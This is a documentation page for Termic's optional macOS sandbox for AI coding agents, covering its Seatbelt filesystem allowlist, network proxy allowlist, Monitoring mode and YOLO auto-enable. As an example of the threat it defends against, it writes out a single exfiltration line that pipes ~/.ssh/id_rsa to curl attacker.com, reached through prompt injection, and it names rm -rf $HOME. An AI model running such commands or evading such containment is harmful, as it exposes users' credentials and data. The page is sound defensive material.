termic.dev
Documentation menu

The per-task sandbox

Termic's optional macOS sandbox cages each agent with a Seatbelt filesystem profile and a network allowlist, so it can run unattended without reaching your secrets or the open internet. A Monitoring mode lets you watch every access first and build the allowlist before you enforce it, and a filesystem-only mode isolates the disk while leaving the network open.


Through a prompt injection, a malicious npm postinstall, or a confused tool call, an agent with shell access can run cat ~/.ssh/id_rsa | curl attacker.com, and you’d never knowingly approve that. Per-action permission prompts, the “allow this command?” dialogs most tools ship, don’t stop it. They slow it down and train you to click “allow” on everything.

Termic enforces the boundary at the operating system and lets the agent run freely inside it. The sandbox is optional, off by default, and configured per task. When it’s enforcing, the agent cannot read your secrets or open a connection to a host you didn’t allow.

The Seatbelt cage on this page is macOS-only. It’s built on sandbox-exec, Apple’s frontend to the Seatbelt kernel facility, so on Linux and Windows the shield toggle is disabled. Docker mode is not macOS-gated and is the option there: a container cage wherever Docker runs. A native Linux equivalent (bubblewrap / landlock) is still on the roadmap.

The Termic sandbox dialog for a task: the four modes plus a greyed-out Docker container option, with enforcing (filesystem + network) selected, a note that YOLO is auto-on inside the cage, a field for extra allowed paths on the left, and the always-allowed built-in defaults on the right.

The per-task sandbox dialog. Pick the mode at the top; your extra paths and hosts go on the left; the built-in defaults you never have to retype are listed alongside on the right.

Four modes

The sandbox is set per task when you create it and editable later:

  • Off. No cage. The agent runs with your full permissions. This is the default.
  • Monitoring. The agent still runs with full access and nothing is blocked, but Termic records every file and host it touches and flags the ones an Enforcing sandbox would have blocked. It’s a dry run: you watch a real session, then turn the access it needed into an allowlist, so switching to Enforcing doesn’t hit a wall of mysterious failures. See Monitoring mode below.
  • Enforcing (filesystem only). The kernel filesystem cage is fully enforced (your secrets on disk stay protected), but the network sandbox is off: the agent reaches any host directly, with no proxy and no hostname allowlist. Use this when your network egress is already controlled elsewhere (a VPN, a corporate proxy, firewall rules), or when the agent needs traffic the HTTPS proxy can’t carry (non-HTTP protocols, raw sockets).
  • Enforcing (filesystem + network). Reads and writes outside the allowlist are denied by the kernel, and network is locked to the hostname allowlist. This is the mode you run unattended agents in.

Start in Monitoring, then switch to Enforcing: spend a session or two watching what the agent reaches for, click the would-block accesses you recognize into the allowlist, then flip the task to Enforcing once the list is complete. The two enforcing modes share the exact same filesystem cage; they differ only in whether the network is locked down too.

What’s sandboxed

Only the agent’s terminal is caged:

  • The agent CLI’s PTY is sandboxed. It reads your prompts and runs tools, so it’s the part you’re guarding against.
  • Everything else runs with your full permissions. The scratch terminal, your setup script, your run script, and the archive script are explicit shell you wrote. They need to reach gh, kubectl, docker, your real environment, so they aren’t caged.

The two layers

The sandbox is two independent mechanisms applied together.

1. Filesystem (Seatbelt)

Every enforced agent process is spawned under a generated Seatbelt profile. The profile is a pure allowlist: the contents of a path are unreadable and unwritable unless that path is explicitly allowed. There is no deny-list of “known bad” locations to keep up to date; anything you didn’t allow is denied by default.

What’s on the allowlist:

  • Read and write on the places the work happens: the task’s working tree, the agent’s own config directories (~/.claude, ~/.codex, and ~/.gemini plus ~/.antigravity for Antigravity), package caches (~/.npm, ~/.cache, ~/.cargo/registry), the system temp directory, plus any extra paths you add per project or per agent.
  • Read-only on the system roots an agent needs to navigate your toolchains (/usr, /bin, the like) and a few files where write access would be dangerous (for example ~/.ssh/known_hosts, which git needs to read but an agent must not be able to forge).

Because nothing else is readable, your secrets are protected without anyone naming them: ~/.ssh, ~/.aws, ~/.gnupg, ~/.netrc, ~/.docker/config.json, ~/.kube, your GitHub CLI hosts file, the macOS Keychains. None of them are on the allowlist, so even an agent running with permissions fully skipped cannot read their contents, because the kernel refuses.

One exception: file and folder names stay enumerable. The profile leaves metadata and existence checks open globally, because macOS resolves the firmlink symlinks (/tmp, /var, /etc) through metadata reads, and without that an agent can’t even launch. So an agent can see that ~/.ssh exists and list its entries, but it cannot read what’s inside any of them.

2. Network (in-process proxy)

The second layer is a per-task HTTPS CONNECT proxy that runs inside the Termic binary (a Rust thread on an OS-assigned port, no daemon to install). The Seatbelt profile blocks all network except loopback to that proxy, and the proxy enforces a hostname allowlist. Anything not on the list gets a 403 and never opens a socket.

The baseline allowlist covers what agents legitimately need: the vendor APIs (Anthropic, Google, OpenAI, matched per-CLI), GitHub, npm, PyPI, crates.io, and CA OCSP endpoints. You add your own hosts per project. The full mechanism, and how to extend it, is in Network allowlist.

Monitoring mode: build the allowlist by watching

An allowlist that’s too tight breaks the agent in confusing ways; one that’s too loose defeats its purpose. Monitoring mode lets you watch a real session before you enforce anything.

In Monitoring mode the agent runs completely unrestricted: nothing is blocked, so it can’t fail because of the sandbox. Underneath, Termic records every filesystem path and every host the agent touches, and classifies each one as either already-covered or would-block, the access an Enforcing sandbox would have denied. Those are the entries to add to your allowlist.

The activity popover (the same one that lists denials in Enforcing mode) becomes a live log with two views:

  • Aggregate, grouped by folder, so a hundred reads under one directory collapse to one row you can allow in a single click.
  • Detailed, every access in order, when you need to see precisely what happened.

Would-block accesses sort to the top in both views, for paths and for hosts, so the things you need to decide on are right in front of you. Click any row to add it to the allowlist, exactly as you would in Enforcing mode, choosing whether it applies to this agent, this project, or just this task.

Two toggles keep the log focused and the app light:

  • Only would-block (on by default) records just the accesses an Enforcing sandbox would deny, hiding the firehose of already-allowed reads.
  • Exclude task dir (on by default) ignores the agent’s churn inside its own working tree, which is allowed anyway.

Both toggles gate recording itself, not just the display, so a long monitoring session stays fast and its memory stays bounded. The intended workflow: run a task in Monitoring for a while, click the would-block paths and hosts you recognize into the allowlist, then switch the task to Enforcing and let the agent run unattended.

Agents reach for more than you’d expect. Claude Code has tried to read browser profile data under ~/Library/Application Support, including for browsers that weren’t even installed. In Enforcing mode those reads are silently denied (good), but you’d never know what the agent wanted. Monitoring shows you, so you can allow what’s legitimate.

Monitoring is observe-only and cannot break the agent: HTTP and HTTPS still route through the loopback proxy so they’re logged and classified, but every other kind of traffic (git-over-SSH, gRPC, raw sockets) goes direct and works as usual.

YOLO inside the sandbox

Normally you’d never run an agent with --dangerously-skip-permissions. Inside an Enforcing sandbox, that’s what Termic does, because the Seatbelt profile is the security boundary and the per-action prompts add nothing on top of it. Either Enforcing mode (filesystem only, or filesystem + network) turns YOLO on automatically.

When a task is not enforced, YOLO is your call, and it’s set per task. Toggle it from the task’s menu in the sidebar; the choice is saved with the task and applied to every agent you launch there. There’s no global YOLO switch.

The sidebar shows the state so you always know what you’re running. A task with YOLO on but no Enforcing sandbox gets a red flash badge as a danger signal: an agent in that state can rm -rf $HOME.

Changing the sandbox on a running task

A task’s sandbox setting is captured when the task is created. You can edit it later, but doing so kills the running agent process and restarts it under the new profile. The restart is required because a running process keeps the permissions it was spawned with. The dialog warns you before it happens.

There’s an explicit escape hatch, a “Save without restart” button, that persists new settings while leaving the live agent on its old profile until it next respawns. It is never the default, and it lists what stays on the old profile.

Configuring it

The sandbox is set up per project (the default mode and extras new tasks inherit) and pinned per task. The built-in filesystem and network rules above are baked in; your project only adds extras on top. You can commit those extras to .termic.yaml so teammates inherit the same allowlist.

Some allowlist entries belong to an agent rather than a project. Hosts you allow “per agent” (from the activity popover, or directly in Settings → Agents → Sandbox allowed hosts) apply to every task that runs that agent, so you allow your internal API or private registry once and every Claude or Codex task inherits it.

When something inside the sandbox fails silently (an npm install that can’t reach a private registry, say), the Network allowlist page covers the recent-denials panel that tells you exactly what was blocked.

Another way to cage it

The Seatbelt is the default. Docker mode is the alternative: the agent runs inside a container instead of a Seatbelt profile, for a stronger filesystem boundary and a blast radius that ends at the container. It is marked experimental, and its network egress is not restricted the way the CONNECT proxy restricts the Seatbelt’s, so if the network allowlist is the property you care about, stay here.

Last reviewed: August 27, 2026